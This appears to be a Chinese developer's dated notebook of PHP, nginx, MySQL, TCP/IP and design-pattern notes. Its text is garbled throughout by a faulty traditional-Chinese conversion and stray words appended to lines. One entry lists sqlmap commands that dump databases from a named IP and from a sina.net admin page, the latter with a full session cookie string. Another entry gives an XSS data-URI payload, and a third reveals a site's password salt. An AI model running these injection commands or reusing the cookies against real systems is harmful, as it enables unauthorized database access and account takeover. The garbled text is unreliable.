去掉敏感信息後的不完整版javascript
==========================================================================
2018年12月29日 記錄:php
目前在維護的最低PHP版本只有5.6了:
1.5.6.39版本
convert.quoted-printable-encode過濾器時核心的segfault錯誤
imap擴展的錯誤
phar擴展的錯誤,PharData類提供了一個訪問和建立不可執行的tar和zip存檔的高級接口
5.6.38版本
apache2的頭信息Transfer-Encoding:chunked的XSS bug
5.6.37版本
exif擴展修復了堆緩衝區溢出,exif擴展能夠獲取圖像元數據css
==========================================================================
2018年12月28日 記錄:html
mysqldump客戶端邏輯備份程序,能夠生成一組sql或csv,文本,xml
1.若是不使用--single-transaction選項,mysqldump至少須要SELECT權限,SHOW VIEW,TRIGGER和LOCK TABLES權限
2.對於大規模備份和還原,物理備份更合適,以原始格式複製數據文件,能夠快速恢復
3.表主要是InnoDB表考慮使用MySQL Enterprise Backup產品的mysqlbackup命令;主要MyISAM表,考慮使用mysqlhotcopy
4.mysqldump默認是逐行檢索,要啓用內存緩衝,使用--skip-quick,此時若是是大表內存會可能有問題前端
join語法,外部鏈接優化:
若是LEFT JOIN中ON或USING部分中的右表沒有匹配的行,則將全部列設置爲NULL的行用於右表。您能夠使用此事實在表中查找在另外一個表中沒有對應項的行:
SELECT left_tbl.*
FROM left_tbl LEFT JOIN right_tbl ON left_tbl.id = right_tbl.id
WHERE right_tbl.id IS NULL;vue
==========================================================================
2018年12月27日 記錄:java
1.vscode配置PHP IntelliSensenode
左下角齒輪==>settings==>extensions==>PHP==>
{
"php.executablePath": "D:/phpServer/php70n/php.exe"
}mysql
2.log_format記錄post數據
log_format mail_test_log escape=json 'postdata= $request_body';
server {
access_log /var/log/nginx/default.access.log mail_test_log;
}linux
雙引號會被轉成\x22,escape=json能夠解決
3.
nginx的內置變量
$time_local 格式化的時間
$request 請求地址
$status 響應碼
$body_bytes_sent 傳送頁面的字節數
$http_referer 來源地址
$http_user_agent 客戶端UA
$document_root 當前文件的目錄絕對地址,好比:/var/www/html
$fastcgi_script_name 當前url的絕對地址,好比:/info.php
$request_filename 當前請求文件的絕對物理地址,基於root和alias指令,好比:/var/www/html/info.php
$http_cookie cookie信息
4.nginx的if判斷語句
-e 文件或目錄存在, !-e 文件或目錄不存在,== 等值判斷 , ~正則匹配返回true(區分大小寫),~*正則匹配返回true(不區分大小寫)
-f 文件是否存在,-x文件是否可執行
5.
nginx的path_info傳遞過來的參數,打印$_SERVER
["PHP_SELF"]=>
string(17) "/index.php/232323"
["PATH_INFO"]=>
string(17) "/232323"
==========================================================================
2018年12月26日 記錄:
1.linux都會將內存充分利用,將一些程序調用過的硬盤數據讀入內存(buffer/cache);物理內存是真正的硬件提供的內存,虛擬內存是虛擬出的一塊邏輯內存,被稱爲交換空間(swap space)
2.buffers和cached都是內存操做,保存系統曾經打開過的文件以及文件屬性信息
3.buffers是緩衝塊設備作的,只記錄文件系統的元數據,cached是給文件內容作緩衝
好比用find查找後buffer大量增長;用cat讀取文件後cached大量增長
4.內存釋放: /proc是虛擬文件系統;能夠經過修改他下面的文件做爲與kernel實體間進行通訊的手段
echo 3 >/proc/sys/vm/drop_caches
log_format指令:
"log_format" directive is not allowed here ,只能放在http塊下,不能放在server塊
==========================================================================
2018年12月25日 記錄:
1.
socket_create ( int $domain , int $type , int $protocol )
domain:
AF_INET基於IPv4的Internet協議。
AF_INET6基於IPv6的Internet協議。
AF_UNIX本地通訊協議族。高效率和低開銷使其成爲IPC(進程間通訊)的一種很好的形式。
type:
SOCK_STREAM(TCP字節流),SOCK_DGRAM(UDP數據報),SOCK_RAW(ICMP的ping程序)
protocol:
SOL_TCP,SOL_UDP
2.
getprotobyname()獲取下各個協議對應的數字
/etc/protocols 在這也能看到對應的數字
ip:0 icmp:1 ggp:3 tcp:6 egp:8 pup:12 udp:17 hmp:20 xns-idp:22 rdp:27
3.vim在當前行迅速插入到下一行,普通模式下按o
4.php.ini中的variables_order參數EGPCS (Environment, Get, Post, Cookie, and Server),會影響這些變量$_SERVER $_POST, $_ENV, $_GET, $_COOKIE
5.一個字符串中關鍵詞會出現屢次,我怎麼才能作到替換關鍵詞的時候 只替換一次,而且要隨機位置;explode拆分開,隨機拼新的字符串進去
6.mysql使用各類字符集存儲數據,是一組符號和編碼,排序規則是用於比較字符集中的字符的一組規則,並根據各類排序規則進行比較
==========================================================================
2018年12月24日 記錄:
異步 API 的設計:
POST /stars 直接返回成功和location字段返回查詢進度的api
輪詢 GET /queue/12345,查詢當前的進度
redis的hash:
1.hmset user:1000 username taoshihan birthyear 1991 verified 1 //設置hash中的多個域
2.hget user:1000 username //hget是取回單個域
3.hgetall user:1000 //hgetall取回全部域
4.hmget user:1000 username birthyear //hmget取回多個域
1.NGINX Unit是個動態應用程序和web服務器,能夠在不中斷服務的狀況下完成部署配置更改,以多種語言運行代碼
2.共享內存是經常使用的進程間通訊,兩個進程能夠直接共享訪問同一塊內存區域。Shared Memory沒有同步機制,須要本身協商處理
3.Buildroot使嵌入式Linux變得簡單
==========================================================================
2018年12月21日 記錄:
MySQL Native Driver,MySQLnd是用C語言編寫的PHP擴展。替代原來的(libmysqlclient)mysql client library
==========================================================================
2018年12月20日 記錄:
1.mysql數據庫的user表保存了全部mysql帳號和密碼
2.show grants能夠查看全部贈予的權限,使用revoke能夠撤銷權限
GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' WITH GRANT OPTION
GRANT PROXY ON ''@'' TO 'root'@'localhost' WITH GRANT OPTION
sql注入漏洞和代碼中的輸出有關
3.高位字節M、低位字節L:一個16位(雙字節)的數據0x2211 22是高位字節 11是低位字節
32位的數據,好比 0x3F68415B 3f68是高位字節 4158是低位字節,這個數據被存到內存的時候有可能高位在前 高位優先 ,高位在後 低位優先
0x1234567的大端字節序是0123 4567,小端字節序是6745 2301
4.[^abc]正則是查找全部不在中括號之間的字符,那麼[^ ]這個就是查找全部不是空格的字符
5.經過人工創建一個根目錄,一般稱爲(chroot)jail,你能夠從根本上阻止程序訪問或者修改(多是惡意的)文件之外的目錄。
好比創建了這樣的目錄/home/sam/jail ,在jail用戶看來,他就是/
6.將include的文件放在配置爲拒絕Web服務器訪問的文件夾中
禁止非法引用的簡單方式
<?php define('APPLICATION', true); ?> <?php if (!defined('APPLICATION')) exit; ?>
7.md5和sha1不適合密碼,MD5,SHA1和SHA256之類的散列算法設計得很是快速和高效很容易被人暴力反解,兩個考慮因素是計算費用和鹽
crypt()函數
==========================================================================
2018年12月19日 記錄:
1.過濾shell命令中的特殊字符:
$a="`ifconfig`";
$a=escapeshellcmd($a);
$res=system($a);
var_dump($res);
shell_exec — 經過 shell 環境執行命令,而且將完整的輸出以字符串的方式返回。
2.字節:存儲容量的計量單位,一個字節等於8位,0x2211是十六進制是二進制0b00100010 00010001,兩個8位也就是兩個字節
3.mysql拆分字符串的函數+計算字符長度的函數
select length(substring_index(path,"/",5)) from user;
5.
sqlmap.py -u "http://115.159.28.111/test/db.php?id=1" --batch --tables //列出全部的表
sqlmap.py -u "http://115.159.28.111/test/db.php?id=1" --batch --schema //列出全部表的表結構
sqlmap.py -u "http://115.159.28.111/test/db.php?id=1" --batch -D pan --dump -T drama //獲取表的數據
//設置cookie請求
sqlmap.py -u "http://entadmin.sina.net/control/mg_mlist.php?flag=1&id=&act=&flag=1&pagecount=20&pagetotal=&findval=2&findfld=findemail" --batch --tables --cookie "d=1; modewindow=PRINT; language=cn; mon=0; quotasize=10485760; SINA_USER=tony72%40luobo.sina.net; SPRIAL=b75abf80646ade46aabf8118653bb541; hpid=C6MTlB-rH1tylZsMzVsk6Vsy9YD_55tXp6D79UAMeTE_LTAx5TB-vUD05Yr_9T1nZIC0VUB05Y-aiLDNvUD79UAMeTE_LTA05L1j5KD_YU1nfTFyE41nfTFyE4vnWZD_pUrNtPDMlTDM9Y; SID=BbHkrkCZCwCMZlSED5lSTbT.%2154E.qlUET4U8%40KLb%214DE88ZETCE48T.T4.44CiZrSSL7-M47rDkll45SZSEZEZK7TZK4; sn=nWZD_pUrNtPDMlTDM9YC6MTlB-6om1nfTFyE4v; PHPSESSID=drcmfmv0truar5njqihhcmc627; __guid=216626370.578084966931658100.1545201942810.3057; monitor_count=1"
==========================================================================
2018年12月18日 記錄:
1.
xss攻擊一個經常使用的方法就是注入HTML元素執行js腳本,前端展現時進行過濾
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
3.
in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
第三個參數是true,就檢測類型,不然不檢測
4.array_flip — 交換數組中的鍵和值,返回一個反轉後的 array,例如 array 中的鍵名變成了值,而 array 中的值成了鍵名。
$arr=array_flip($haystack);
if ( isset($arr[$needle]) ) 判斷是否存在在數組中
5.array_map — 爲數組的每一個元素應用回調函數
由於in_array不區分大小寫,因此使用這個對數組的全部元素轉成小寫
return in_array(strtolower($needle), array_map('strtolower', $haystack));
2019年2-7~9 陽光PHP峯會
API開發;中間件;安全;區塊鏈;DevOps;漸進式Web應用程序(PWA);持續交付;數據庫;
Javascript ;PHP核心;單元測試;UI / UX;異步PHP;可擴展性;團隊開發
==========================================================================
2018年12月17日 記錄:
htmlentities — 將字符轉換爲 HTML 轉義字符,對全部html實體轉義
htmlspecialchars只是對 < > " ' &進行轉義
==========================================================================
2018年12月14日 記錄:
查詢45天之前沒有登陸的郵箱:
strtotime('-45day')
mysql輸入查詢:
SELECT VERSION(), CURRENT_DATE;
php mysql查詢超內存:
$db->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, false);不緩存結果
$sql = "select * from ent_lastlogin "
. "where time <'2018-10-30'";
$uresult = $db->query($sql);
if ($uresult) {
while ($r = $uresult->fetch(PDO::FETCH_ASSOC)) {}
==========================================================================
2018年12月13日 記錄:
1.PATH_INFO是一個CGI 1.1的標準,不要誤解爲nginx的功能
2.PHP對該標準進行了支持,PHP中有兩個pathinfo,環境變量$_SERVER['PATH_INFO'];pathinfo() 函數
3.pathinfo() 函數以數組的形式返回文件路徑的信息,先無論它
4.nginx的配置項是對$_SERVER['PATH_INFO]值進行設置,若是不配置默認是沒有的
5.由於路徑部分是這樣的index.php/111,因此location ~ \.php {} 把php後面的$必須以php結尾去掉
6.傳遞PATH_INFO參數:
fastcgi_param PATH_INFO $fastcgi_path_info; 此時
["PHP_SELF"]=>string(3) "NFO"
["PATH_INFO"]=>string(3) "NFO"
7.
fastcgi_split_path_info ^((?U).+.php)(/?.+)$;此時
["PATH_INFO"]=>"/111"
["PHP_SELF"]=>"/index.php/111"
8.重寫隱藏index.php,若是請求的是文件名才重寫
if (!-e $request_filename) {
rewrite ^/(.*)$ /index.php/$1 last;
break;
}
此時:
["PATH_INFO"]=>"/111"
["PHP_SELF"]=>"/index.php/111"
GNU AWK 的用戶指南
==========================================================================
2018年12月12日 記錄:
調試nginx rewrite
1.rewrite_log on;會發送相關notice日誌到error_log的文件裏
2018/12/12 11:09:58 [notice] 10987#10987: *1 "info.html" matches "/info.html", client: 218.30.113.42, server: 115.159.28.111, request: "GET /info.html HTTP/1.1", host: "115.159.28.111"
2018/12/12 11:09:58 [notice] 10987#10987: *1 rewritten data: "/info.php", args: "", client: 218.30.113.42, server: 115.159.28.111, request: "GET /info.html HTTP/1.1", host: "115.159.28.111"
2.設置error_log的日誌級別爲debug
3.只記錄本身的ip
events {
debug_connection 1.2.3.4;
}
凡人皆有一死 ,凡人皆須侍奉
動不動就以爲一年比一年差的,是由於你年齡一年比一年大了,愈來愈須要錢了,恰恰發現財富自由離本身太遠。
回到剛畢業的時候,就算變天了你還會以爲很興奮,百度一下「行業寒冬」,你就就會發現201四、201五、201六、201七、2018年年都寒冬。哪年不過冬了?哪年各位的薪資沒漲的?哪年各位生活質量有降低的?
==========================================================================
2018年12月11日 記錄:
postfix配置測試smtp
修改 /etc/postfix/transport
而後執行 postmap /etc/postfix/transport,
再執行postfix reload
1.PHP開發團隊宣佈即將推出PHP 7.0.33。此版本中修復了五個與安全相關的問題。
善惡的彼岸,當你凝視深淵時,深淵也在凝視着你。凡不能毀滅個人,必使我強大。
2.PHP的imap擴展安裝 apt-get install php-imap
版本7.0.33 18年12月6日
核心:修復了錯誤#77231(使用convert.quoted-printable-encode過濾器時的Segfault錯誤)。
IMAP:修正了錯誤#77020(imap_mail中的空指針取消引用)。
修復了錯誤#77153(imap_open容許經過mailbox參數運行任意shell命令)。
Phar:修復了錯誤#77022(PharData始終使用模式0666建立新文件)。
修復了phar_parse_pharfile中的錯誤#77143(堆緩衝區溢出(READ:4))。
3.爲了快速處理靜態數據集,例如服務器名稱,映射指令的值,MIME類型,請求頭字符串的名稱,nginx使用哈希表。
4.access_log syslog:server=[2001:db8::1]:12345,facility=local7,tag=nginx,severity=info combined;配置nginx日誌到syslog
==========================================================================
2018年12月10日 記錄:
講清楚技術方案:
1.介紹需求背景
2.介紹總體技術方案
3.介紹協議和庫表結構
fpm:FastCGI Process Manager 是一種替代的PHP FastCGI實現,對於負載較重的站點很是有用。
1.先進的進程控制,優雅的中止啓動
2.可以使用不一樣的uid/gid/chroot/environment啓動worker,使用不一樣的php.ini,監聽不一樣的端口
3.stdout stderr日誌記錄
4.opcode cache破壞的狀況下緊急重啓
5.加速上傳支持
6.slowlog慢日誌記錄腳本,能夠記錄PHP跟蹤和遠程進程的execute_data, ptrace或者相似工具讀取和分析
7.fastcgi_finish_request()刷新全部數據,當在作耗時操做的時候,好比視頻轉換和統計處理,在fastcgi_finish_request()以後,該腳本仍將佔用FPM進程。所以,對於長時間運行的任務過分使用它可能會佔用全部FPM線程,直到pm.max_children
8.動態靜態子進程產生
9.基礎的SPAI狀態,基於php.ini的配置文件
php-fpm開啓慢查詢日誌:
/etc/php/7.0/fpm/pool.d/www.conf
slowlog = /var/log/php-fpm-$pool.log.slow
request_slowlog_timeout = 5
1.MySQL服務器支持200,000個表和大約5,000,000,000記錄,每一個表最多支持64個索引。每一個索引能夠包含1到16列或部分列。 InnoDB表的最大索引寬度爲767字節或3072字節
2.mysqldump和mysqladmin,以及圖形程序,如MySQL Workbench。 MySQL Server內置支持SQL語句來檢查,優化和修復表。經過mysqlcheck客戶端得到。 myisamchk,這是一個很是快速的命令行實用程序,用於在MyISAM表上執行這些操做。
3.mysql8.0 mysql系統數據庫中的受權表如今是InnoDB(事務)表,能夠回滾。之前,是MyISAM(非事務)表
4.caching_sha2_password身份驗證插件,實現了SHA-256密碼散列,使用緩存來解決延遲問題
5.MySQL如今支持角色,這些角色被命名爲特權集合
6.MySQL如今維護有關密碼歷史的信息,從而限制了之前密碼的重用
==========================================================================
2018年12月7日 記錄:
nginx能夠用信號控制:
kill -s HUP 8587 將HUP信號發送到主進程,使用新配置啓動新的工做進程,正常關閉舊工做進程,即打開日誌文件和新的偵聽套接字。
kill -s USR2 8587 即時升級可執行文件
導入羣發列表時有^M特殊字符:
$outEmail=(string)trim($outEmail); 強制轉一下
1.vmstat指令查看操做系統每秒進程切換的次數。system-- -----in 每秒中斷;cs 每秒上下文切換 數量
2.pcntl沒有提供進程間通訊的功能
pcntl不支持重定向標準輸入和輸出
pcntl只提供了fork這樣原始的接口,容易使用錯誤
==========================================================================
2018年12月6日 記錄:
RUP:統一軟件開發過程,面向對象基於網絡的程序開發方法論
UML:統一建模語言
OO設計的基本原則
單一原則:一個類只作一件事
開閉原則:對擴展開放,對修改關閉
裏式替換:子類必須可以替換全部父類的使用
依賴倒置:設計依賴於抽象而不是實現
最少知識:對象應當儘量少的去了解其餘對象
接口隔離:接口傾向於小而多
組合優先:優先使用類的組合而不是繼承
OOA面向對象分析 OOD面向對象設計 OOP面向對象編程
構造型設計模式:
單例模式,抽象工廠模式,構造者模式,原型模式,工廠方法模式
單例:
私有化構造方法
經過靜態方法建立並保持對象
注意實例化方法須要線程安全
private static $instance;private function __construct(){}
public static function getInstance(){
if(self::instance==null) self::instance=new self();
return self::instance;
}
適用場景:類的對象全局惟一,節約頻繁建立對象的資源開銷,單例類必須是無狀態的
抽象工廠模式:
使用與實現分離,調用方只依賴於業務邏輯接口,與具體實現無關
剝離調用者和實現的耦合,應對變化,典型案例:JDBC API & Driver
interface UserRepository{}
interface RepositoryFactory{public function createUserRepository()}
class MysqlRepositoryFactory implements RepositoryFactory{}
class MySqlUserRepositoryFactory implements UserRepository{}
構造者模式:
用於建立一個複雜對象,一個對象須要依賴於大量外部對象或者其餘設置參數,經過構造方法建立太複雜
對象的建立很是複雜,老是須要不少配置和預先建立其餘對象
class Query{}
class QueryBuilder{ return $this}
(new QueryBuilder())->addSelect()->addWhere()->build()->getResult();
==========================================================================
2018年12月5日 記錄:
stream_get_meta_data - 從流/文件指針中檢索標頭/元數據
返回結果:timed_out (bool)若是流在等待最後一次調用fread()或fgets()時的數據時超時,則爲TRUE。
1.LVS能夠使用IP負載平衡技術或應用級負載均衡技術。經過透明地添加或刪除集羣中的節點來實現系統的可伸縮性。
2.IPFW是比較老的Linux內核版本提供的防火牆軟件包,Ipchains替代Ipfwadm,提供了更爲嚴格的包過濾控制機制,Iptables是一個管理內核包過濾的工具
3.基於DNS的負載均衡,不合適,不平衡,由於有TTL時間的存在,會有段時間每一個用戶固定訪問某個IP
4.基於調度程序的負載均衡,分爲兩個級別 應用級和IP級,應用級好比分配HTTP到集羣,當負載很高時,應用級將會成爲新的瓶頸.IP級的開銷很小
5.有三種負載方法NAT(網絡地址轉換),TUN(ip隧道),DR(直接路由);nat和fullnat的區別是解決了跨虛擬局域網的問題
=========================================================================
2018年12月4日 記錄:
1.LVS:Linux Virtual Server Linux虛擬服務器,是一組服務器,核心是ip_vs代碼, 運行在LVS director,director是一個四層交換,至關於一個路由器,接收客戶端請求分配給後端realservers服務器
2.網絡地址轉換(NAT):內網的主機想經過互聯網被外網訪問,須要進行網絡地址轉換;從一組地址到另外一組叫N-to-N靜態網絡地址轉換;當映射是M-to-N M>N時是動態網絡地址轉換;網絡地址端口映射是NAT的一個擴展,在這裏不少的地址和端口被映射到單個地址和端口,N-to-1的映射
==========================================================================
2018年12月3日 記錄:
1.DNS服務器的IP地址:cat /etc/resolv.conf
2.DNS的通訊過程:
tcpdump -i eth0 -s 0 -n -l port 53
10:44:10.203166 IP 10.105.38.204.47751 > 10.236.158.114.53: 44627+ A? www.huiful.com. (32)
個人IP地址10.105.38.204端口47751向DNS服務器的10.236.158.114端口53發送請求
44627是我這個請求的標識,+表明啓用遞歸查詢,A?表示A類型的查詢,32表明DNS查詢報文長度
3.DNS的響應
10:44:10.203634 IP 10.236.158.114.53 > 10.105.38.204.47751: 44627 1/0/0 A 123.207.167.115 (48)
44627和請求對應,1/0/0 1個應答資源 0個受權記錄 0個額外信息記錄 A記錄IP地址 48是報文長度
host -t A www.baidu.com的DNS查詢過程:
IP 10.105.38.204.39732 > 10.236.158.106.53: 11431+ A? www.baidu.com. (31)
IP 10.236.158.106.53 > 10.105.38.204.39732: 11431 3/0/0 CNAME www.a.shifen.com., A 115.239.210.27, A 115.239.211.112 (90)
4.TCP協議更靠近應用層,所以在程序中有更強的互操做性,一些socket選項都和TCP有關
5.TCP頭部信息,TCP狀態轉移過程,TCP數據流(交互數據流,成塊數據流,緊急數據),TCP數據流的控制(超時重傳,擁塞控制)
6.TCP協議通訊必須先創建鏈接,鏈接是雙全工的,雙方的數據讀寫經過一個鏈接進行,交換完成後,都必須斷開鏈接.
7.TCP的鏈接是一對一的,所以基於廣播和多播(目標多個主機)的程序不能使用,udp很是適合廣播和多播
8.字節流服務:發送端執行屢次寫操做,TCP模塊先放入發送緩衝區,真正發送時可能被封裝成一個或多個TCP報文段發出;接收端先放入TCP接收緩衝區,而後再一次或屢次讀出,用戶指定的程序讀緩衝區的大小
9.udp是數據報服務:發送端每發送一個,接收端就要接收一個
10.TCP頭部結構:指定源端端口,目的端端口,管理TCP鏈接
門診系統:
electron vue vuex 界面就是elementui
360瀏覽器側邊翻譯插件
==========================================================================
2018年11月30日 記錄:
1.ICMP協議並不是徹底意義上的網絡層協議,它使用同一層的IP協議提供的服務
2.傳輸層提供端到端(end to end)通訊,只關心起始端和目的端,與網絡層使用逐跳不一樣
3.TCP協議爲應用層提供可靠的面向鏈接的基於流的服務,使用超時重傳,數據確認保證可靠性,基於流的數據沒有長度邊界限制,源源不斷流入,讀出
4.UDP提供不可靠,無鏈接,基於數據報的服務
5.DNS協議即便用了TCP服務,又使用了UDP服務,/etc/services能夠看到知名應用層協議,使用了哪些傳輸層協議
6.封裝,協議棧依次從上往下傳遞,每通過一層就加上本身的頭部信息,TCP封裝後的有TCP頭部信息,TCP內核緩衝區,共同構成了TCP報文段
7.數據鏈路層封裝的稱爲幀,以太網上的叫以太網幀,令牌環網絡上的則是令牌環幀
8.分用,協議棧自底向上依次傳遞
9.ARP協議能夠將網絡層地址到任意物理地址轉換,從IP地址到MAC地址轉換
10.ARP高速緩存,把常常訪問的機器的IP地址到物理地址的映射緩存起來,避免了重複的ARP請求
PCRE(Perl Compatible Regular Expressions)是一個Perl庫,包括 perl 兼容的正則表達式庫。
==========================================================================
2018年11月29日 記錄:
PHP default_socket_timeout配置:
控制file_get_contents的超時時間
stream_socket_client ( string $remote_socket [, int &$errno [, string &$errstr [, float $timeout = ini_get("default_socket_timeout") [, int $flags = STREAM_CLIENT_CONNECT [, resource $context ]]]]] )
timeout
Number of seconds until the connect() system call should timeout.
1.從單頁應用(SPA)到服務器渲染(SSR)
2.編譯器原理和技術涉及到程序設計語言,計算機體系結構,語言理論,算法,軟件工程
3.編譯器是一個程序,將某種語言(源語言)編寫的程序翻譯成一個與之等價的另外一種語言(目標語言)編寫的程序,翻譯的過程當中能夠報告錯誤,編譯器的早期工做集中在如何把算數表達式翻譯成機器代碼
==========================================================================
2018年11月28日 記錄:
1.網絡編程:經過計算機網絡與其餘程序通訊,相互通訊的程序中一方爲client,一方爲server
2.兩種網絡編程API:socket和XTI,AT&T(美國電話電報公司)傳輸層接口TLI進行修改的產物
3.usenet新聞組就是論壇,ANSI C是美國國家標準組織(ANSI)和國際標準組織ISO推出的C語言標準
4.C語言標準化:ANSI C==>C89,C90差很少是一個==>C99==>C11
5.POSIX可移植操做系統接口,定義了操做系統應該爲程序提供的接口標準,系統調用和庫函數只是實現上的細節不一樣,一般對開發人員是透明的
6.IPv6:互聯網工程任務組設計的新版本IP協議,號稱能夠爲每一粒沙子編上網址,IPv6長度128b,表示方法有,冒分十六進制,0位壓縮表示法,內嵌IPv4地址表示法
7.web和服務器通訊使用應用協議HTTP,在傳輸層使用TCP協議,TCP又使用了網絡層IP協議,IP則使用了某種數據鏈路層通訊
8.兩個不一樣局域網的客戶和服務器,使用路由器router鏈接到廣域網的,最大的廣域網是因特網
print_r(01234==1234) false,0開頭是八進制,0x開頭是十六進制,0b開頭是二進制
yigoubao的密碼規則:md5(md5($password) . 'yoshop_salt_SmTRx')
php -r "echo md5(md5('admin123') . 'yoshop_salt_SmTRx');"
==========================================================================
2018年11月27日 記錄:
企管系統個性登陸頁左側菜單沒法點擊:
查找樣式問題,在審查元素裏挨個刪除html元素,就能查詢到影響的div,進而定位到css
域名反向解析即從IP地址到域名的映射:
系統提供一個特別域,該特別域稱爲逆向解析域
企管nginx改造:
==========================================================================
2018年11月26日 記錄:
系統開發統計讀取阿里雲的使用狀況:
swoole的三種運行模式:base模式,線程模式,進程模式
IO:BIO阻塞IO;NIO非阻塞IO,同步IO;異步IO
IO組合:同步阻塞IO;同步非阻塞IO;異步阻塞IO;異步非阻塞IO
IO操做:發起IO請求;實際IO操做
阻塞和非阻塞區別:第一步發起IO請求是否會被阻塞
同步和異步區別:第二步實際IO讀寫是否會被阻塞
BIO:
while true
accept
多線程處理讀寫
PHP之道:https://laravel-china.github.io/php-the-right-way/
__set是個不存在的屬性賦值,兩個參數__set($k,$v),屬性名和屬性值
__get讀取不存在屬性時
$obj->test="aaa", __set("test",'aaa'),屬性中放個數組,arr["test"]="aaa"
echo $obj->test ,__get("test"),arr["test"]
==========================================================================
2018年11月23日 記錄:
==========================================================================
2018年11月22日 記錄:
declare 結構用來設定一段代碼的執行指令。declare 的語法和其它流程控制結構類似:
是一個在 declare 代碼段中解釋器每執行 N 條可計時的低級語句就會發生的事件
declare(ticks=1);
PHP進行信號管理,第二個參數是回調函數:
pcntl_signal(SIGUSR1, "sig_handler");
給進程發送信號:
posix_kill ( int $pid , int $sig )
1.curl post數據:
curl "http://120.78.219.34:8018/accountapi/getSms" -d "tel=18812341234"
2.ab -r遇到socket錯誤時跳過
kill -l:linux進程的全部信號
==========================================================================
2018年11月21日 記錄:
1.is_object — 檢測變量是不是一個對象
2.依賴注入,兩個類依賴的時候,須要構造函數裏傳進去,構造函數注入
3.控制反轉(IOC)是一種思想,依賴注入(DI)是實施這種思想的方法。
4.工廠模式注入,本來A類依賴B類和C類,如今變成了A依賴Factory,Factory依賴B和C。
5.高層模塊不該該依賴於底層模塊,兩個都應該依賴抽象。抽象不該該依賴於細節,細節應該依賴於抽象
6.一、IaaS(基礎設施即服務:Infrastructure as a Service)
二、PaaS(平臺即服務:Platform as a Service)
三、SaaS(軟件即服務:Software as a Service)
7.glusterFS 分佈式文件系統
==========================================================================
2018年11月20日 記錄:
sendid,mid
php魔術方法:
__construct()[構造], __destruct()[析構], __call()[調用不存在的方法], __callStatic()[調用不存在的靜態方法],
__get()[獲取不存在屬性的值], __set()[爲不存在屬性賦值調用],
__isset()[isset不存在的屬性], __unset()[unset不存在的屬性], __sleep()[序列化對象的時候], __wakeup()[反序列化對象的時候], __toString(), __invoke(), __set_state(), __clone() 和 __debugInfo()
1.file_put_contents — 將一個字符串寫入文件,LOCK_EX 在寫入時得到一個獨佔鎖。
讀取時須要解鎖
$myfile=fopen('test.txt','rt');
flock($myfile,LOCK_SH);
$read=file_get_contents('test.txt');
2.PHP-AOP擴展,面向切面編程,非侵入式的編程方法aop_add_after()函數的使用
==========================================================================
2018年11月19日 記錄:
1.企郵日發信量100萬,計劃天天或每週一張表,根據sendid後面的日期進行對應
2.在讀信接口裏增長sendid字段
2.給前端定義一個接口,maildeliverystatus,只有已發送的郵件讀信時會去調,把sendid傳給我
3.我要拿着sendid去查表而後直接返回對應數字
c10k問題:單機一萬併發鏈接問題
1.若是一個鏈接就建立一個進程或線程,資源消耗巨大
2.異步模式select/poll模型,select最大不能超過1024,poll沒有限制可是每次收到數據都要遍歷鏈接查看哪一個鏈接有數據請求
3.epoll依賴linux,只返回狀態變化的文件句柄,不會去遍歷,效率更高了
4.libevent對事件接口進行了封裝
5.協程,c語言中的coroutine,go語言中的goroutine,在少許線程的基礎上進行調度
測試:單元測試,API測試,性能測試,持續集成,灰度發佈
單元測試:人爲規定的最小的被測功能模塊,c語言是一個函數,java是一個類,圖形軟件是一個窗口
API測試:定位是服務對外輸出的接口測試,偏重業務測試
性能測試:單接口壓測和模擬用戶行爲的壓測,ab壓測,wrk壓測;loadrunner,jmeter
ubuntu用戶建立的目錄下用root建立文件,ubuntu用戶能夠刪除可是不能編輯覆蓋
==========================================================================
2018年11月16日 記錄:
100億的文件統計ip的個數:
我設計一個簡單的哈希函數是 f(ip) = ip % 10000,(ip 是個32位整數) 那麼 5 % 10000 = 5,無論 5 在哪一個地方 5 % 10000 的結果都是 5,這就保證了相同的 ip 會被放在同一個子文件中,方便統計,相同的元素通過同一個哈希函數,得出的哈希值是同樣的。 那麼我把100億個 ip,都進行 ip % 10000 的操做,就完成了 100GB 文件分解成 10000個子文件的任務了。固然實際中哈希函數的選取很重要,儘可能使得元素分佈均勻,哈希衝突少的函數纔是最好的。
10MB 的小文件裏面存着不少 ip,他們雖然是亂序的,可是相同的 ip 會映射到同一個文件中來! 那麼能夠用二叉樹統計出現次數,二叉樹節點保存(ip, count)的信息,把全部 ip 插入到二叉樹中,若是這個 ip 不存在,那麼新建一個節點, count 標記 1,若是有,那麼把 count++,最終遍歷一遍樹,就能找出 count 最大的 ip 了
3.設計api問題
4.如何防止掃密碼
5.get和post的安全性問題和區別,長度的限制問題
6.
(1)http協議並未規定get和post的長度限制
(2)get的最大長度限制是由於瀏覽器和web服務器限制了URL的長度
7.若是一直用同一個錯誤密碼,只計算一次,不會當成掃號。IP也不變的狀況下
8.變量名隨機
建立一個jwt token,裏面綁定隨機碼
經過加密算法產生變量名
帳號密碼token一塊兒傳後臺
9.動態平臺在對北顯七層配置進行灰度變動時,因爲Nginx服務端口配置文件引用錯誤,致使七層流量分流錯誤,財經、郵箱等業務數據返回異常
==========================================================================
2018年11月15日 記錄:
1.mysql的批量更新用法 case when
UPDATE `post` SET
`parent_id` = CASE `id`
WHEN '1' THEN '100'
WHEN '2' THEN '100'
END,`title` = CASE `id`
WHEN '1' THEN 'A'
WHEN '2' THEN 'A'
END WHERE `id` IN ('1','2','3','4','5')
2.MySQL提示「too many connections」 ,sleep的鏈接太多了
MySQL配置文件/etc/my.cnf,設置成max_connections=1000,wait_timeout=5
3.MySQL server has gone away和wait_timeout有關係.兩次sql執行間隔時間太長
因此在new PDO的時候,要根據wait_timeout的值判斷,大於的就從新new,不大於的就單例返回
4.yield的生成器使用,每次只讀一行數據,內存中始終只佔一行數據
function readTxt(){
$handle = fopen("./test.txt", 'rb');
while (feof($handle)===false) {
yield fgets($handle);
}
fclose($handle);
}
foreach (readTxt() as $key => $value) {
echo $value.'<br />';
}
==========================================================================
2018年11月14日 記錄:
nginx改造:
1./mnt/entmail/webapp目錄權限和nginx執行用戶權限
3.php.ini 設置upload_tmp_dir="/temp"
cron的日誌位置/var/log/cron
開啓cron日誌:
vim /etc/rsyslog.d/50-default.conf
cron.* /var/log/cron.log
1.Epoll是poll的改進版,在高併發下能同時處理大量文件描述符,nginx使用了
